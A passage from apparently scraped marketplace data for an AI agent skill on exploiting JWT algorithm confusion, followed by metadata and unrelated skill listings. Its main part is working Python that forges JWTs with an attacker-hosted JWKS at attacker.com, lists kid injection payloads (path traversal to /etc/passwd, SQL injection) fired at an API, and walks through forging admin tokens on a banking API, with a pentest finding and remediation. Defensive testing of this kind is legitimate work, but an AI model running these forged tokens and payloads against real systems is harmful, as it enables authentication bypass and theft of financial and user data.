attacker key pair\n    private_key = rsa.generate_private_key(\n        public_exponent=65537,\n        key_size=2048,\n        backend=default_backend()\n    )\n    public_key = private_key.public_key()\n    public_numbers = public_key.public_numbers()\n\n    n_b64 = base64.urlsafe_b64encode(\n        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')\n    e_b64 = base64.urlsafe_b64encode(\n        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')\n\n    jwks = {\n        \"keys\": [{\n            \"kty\": \"RSA\",\n            \"kid\": \"attacker-key-1\",\n            \"use\": \"sig\",\n            \"alg\": \"RS256\",\n            \"n\": n_b64,\n            \"e\": e_b64\n        }]\n    }\n\n    return private_key, jwks\n\nattacker_private_key, attacker_jwks = generate_attacker_jwks()\n\n# Create JWT with JKU pointing to attacker server\ndef forge_jku_token(payload_modifications, jku_url):\n    \"\"\"Create a JWT signed with attacker key, JKU pointing to attacker JWKS.\"\"\"\n    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))\n    payload.update(payload_modifications)\n\n    header = {\n        \"alg\": \"RS256\",\n        \"typ\": \"JWT\",\n        \"kid\": \"attacker-key-1\",\n        \"jku\": jku_url  # Points to attacker-hosted JWKS\n    }\n\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(header).encode()).decode().rstrip('=')\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Sign with attacker's private key\n    from cryptography.hazmat.primitives import hashes\n    from cryptography.hazmat.primitives.asymmetric import padding\n\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n    signature = attacker_private_key.sign(\n        signing_input,\n        padding.PKCS1v15(),\n        hashes.SHA256()\n    )\n    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')\n\n    return f\"{header_b64}.{payload_b64}.{sig_b64}\"\n\n# Test JKU injection with various URLs\njku_urls = [\n    \"https:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\",\n    \"https:\u002F\u002Fattacker.com\u002Fjwks\",\n    # Bypass URL filters\n    f\"{BASE_URL}@attacker.com\u002Fjwks\",\n    f\"{BASE_URL}\u002F.well-known\u002Fjwks.json#@attacker.com\",\n]\n\nfor jku in jku_urls:\n    token = forge_jku_token({\"role\": \"admin\"}, jku)\n    # Note: This test requires hosting the attacker JWKS at the specified URL\n    print(f\"  JKU injection payload generated for: {jku}\")\n\n# KID injection (SQL injection in kid parameter)\nkid_injection_payloads = [\n    \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\",              # Path traversal to empty file\n    \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fproc\u002Fsys\u002Fkernel\u002Fhostname\",\n    \"' UNION SELECT 'secret-key' -- \",         # SQL injection in kid lookup\n    \"' OR '1'='1\",\n    \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\",\n    \"https:\u002F\u002Fattacker.com\u002Fkey.pem\",            # URL-based kid\n]\n\nfor kid in kid_injection_payloads:\n    modified_header = {\"alg\": \"HS256\", \"typ\": \"JWT\", \"kid\": kid}\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(modified_header).encode()).decode().rstrip('=')\n    payload_b64 = valid_token.split('.')[1]\n\n    # Sign with the expected key material from the injection\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n    # For path traversal to \u002Fdev\u002Fnull, the key would be empty\n    sig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\n    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')\n\n    token = f\"{header_b64}.{payload_b64}.{sig_b64}\"\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] KID injection successful: {kid}\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Algorithm Confusion** | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret |\n| **alg:none Attack** | Setting the JWT algorithm to \"none\" to bypass signature verification entirely, if the library does not enforce algorithm selection |\n| **JKU Injection** | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys |\n| **KID Injection** | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files |\n| **Key Confusion** | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification |\n| **JWKS (JSON Web Key Set)** | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint |\n\n## Tools & Systems\n\n- **jwt_tool**: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection\n- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities\n- **hashcat (mode 16500)**: GPU-accelerated HMAC secret brute-forcing for HS256\u002FHS384\u002FHS512-signed JWTs\n- **John the Ripper**: CPU-based JWT secret cracking with wordlist and rule-based attacks\n- **jwt.io**: Online JWT decoder and debugger for quick token analysis\n\n## Common Scenarios\n\n### Scenario: Algorithm Confusion on Banking API\n\n**Context**: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.\n\n**Approach**:\n1. Obtain a valid JWT by authenticating as a regular user\n2. Extract the RSA public key from the JWKS endpoint at `\u002F.well-known\u002Fjwks.json`\n3. Create a new JWT with `\"alg\": \"HS256\"` header and sign it using the RSA public key as the HMAC secret\n4. Send the forged token to `GET \u002Fapi\u002Fv1\u002Fusers\u002Fme` - server accepts it (algorithm confusion confirmed)\n5. Modify the payload to set `\"role\": \"admin\"` and `\"sub\": \"admin@bank.com\"` - sign with the public key\n6. Access admin endpoints: `GET \u002Fapi\u002Fv1\u002Fadmin\u002Ftransactions` returns all transaction history\n7. Test alg:none: rejected by the server (partial mitigation)\n8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection\n\n**Pitfalls**:\n- Using the wrong format of the public key as the HMAC secret (PEM with\u002Fwithout headers, DER, raw bytes)\n- Not trying multiple public key formats when the first one does not produce a valid signature\n- Assuming the alg:none defense means algorithm confusion is also mitigated\n- Not testing kid injection vectors when the kid parameter is present in the JWT header\n- Missing JKU\u002Fx5u header injection when the server fetches keys from URLs\n\n## Output Format\n\n```\n## Finding: JWT Algorithm Confusion Enables Authentication Bypass\n\n**ID**: API-JWT-001\n**Severity**: Critical (CVSS 9.8)\n**CVE Reference**: CVE-2024-54150 (related pattern)\n**Affected Component**: JWT authentication middleware\n\n**Description**:\nThe API's JWT verification library trusts the algorithm specified in\nthe JWT header rather than enforcing a fixed algorithm. An attacker can\nchange the algorithm from RS256 to HS256 and sign the token using the\nserver's RSA public key (available from the JWKS endpoint) as the HMAC\nsecret. The server then uses the same public key to verify the HMAC\nsignature, which succeeds, allowing the attacker to forge tokens for\nany user with any role.\n\n**Attack Chain**:\n1. Obtain public key: GET \u002F.well-known\u002Fjwks.json\n2. Create JWT: {\"alg\":\"HS256\",\"typ\":\"JWT\"}.{\"sub\":\"admin\",\"role\":\"admin\"}\n3. Sign with HMAC-SHA256 using RSA public key PEM as secret\n4. Access admin API: GET \u002Fapi\u002Fv1\u002Fadmin\u002Ftransactions -> 200 OK\n\n**Impact**:\nComplete authentication bypass. An attacker can forge tokens for any\nuser including administrators, accessing all financial transactions,\nuser data, and administrative functions.\n\n**Remediation**:\n1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=[\"RS256\"])\n2. Never trust the alg header from the JWT for algorithm selection\n3. Update the JWT library to the latest version with algorithm confusion protections\n4. Consider using EdDSA (Ed25519) which does not have symmetric\u002Fasymmetric confusion risk\n5. Implement token binding to prevent forged token acceptance\n```\n",{"name":5,"tags":48,"author":51,"domain":42,"license":14,"version":52,"subdomain":37,"description":53},[37,23,35,49,50],"token-forgery","cryptographic-attack","mahipal","1.0.0","Exploits JWT algorithm confusion vulnerabilities where the server's token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none to bypass signature verification, or exploits kid\u002Fjku\u002Fx5u header injection to supply attacker-controlled keys. Activates for requests involving JWT algorithm confusion, alg none attack, key confusion attack, or JWT signature bypass.\n","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":62,"prompt":72,"zipAvailable":73},[63,66,69],{"tool":64,"command":65},"npx","npx skills add micsapp\u002Fmicstec-skills --skill exploiting-jwt-algorithm-confusion-attack",{"tool":67,"command":68},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill exploiting-jwt-algorithm-confusion-attack",{"tool":70,"command":71},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill exploiting-jwt-algorithm-confusion-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002FSKILL.md",true,[75,80,86],{"path":76,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002FLICENSE",{"path":81,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"references\u002Fapi-reference.md","REFERENCE","参考文档",2425,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002Freferences\u002Fapi-reference.md",{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"scripts\u002Fagent.py","SCRIPT","脚本",4989,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002Fscripts\u002Fagent.py",[93,126,155,175,194,218],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":97,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":106,"publishedAt":43},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[100,101],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":102,"categoryName":103,"taxonomyType":104,"taxonomyTypeDesc":105},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[107,108,109,110,111,112,113,114,115,33,116,117,118,119,120,121,122,123,124,125],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":97,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":140,"publishedAt":43},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[132,133,136,139],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":134,"categoryName":135,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":137,"categoryName":138,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":102,"categoryName":103,"taxonomyType":104,"taxonomyTypeDesc":105},[141,142,143,144,108,145,146,147,148,149,150,151,33,116,122,29,152,123,153,154],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","guides","CI\u002FCD","implementing",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":97,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":162,"publishedAt":43},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[161],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},[163,164,165,26,108,111,33,116,166,167,168,169,170,171,172,123,173,174,154,125],"policy","authoring","apim policy authoring","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":97,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":183,"publishedAt":43},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[181,182],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":102,"categoryName":103,"taxonomyType":104,"taxonomyTypeDesc":105},[184,26,185,33,169,186,108,141,187,40,188,189,116,190,123,191,192,193,124,125],"review","security review","api security review","benchmark","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":97,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":200,"publishedAt":43},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[201,202,203,143,204,205,206,207,33,208,209,210,211,212,213,214,215,30,216,217],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","line","sprints",{"skillNo":219,"name":220,"nameZh":6,"description":221,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":97,"licenseFileUrl":6,"sourceHtmlUrl":222,"categories":223,"keywords":224,"publishedAt":43},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[220,225,226,227,228,229,230,167,231,232],"npm","js","calculate","node","math","user","compute","errors"]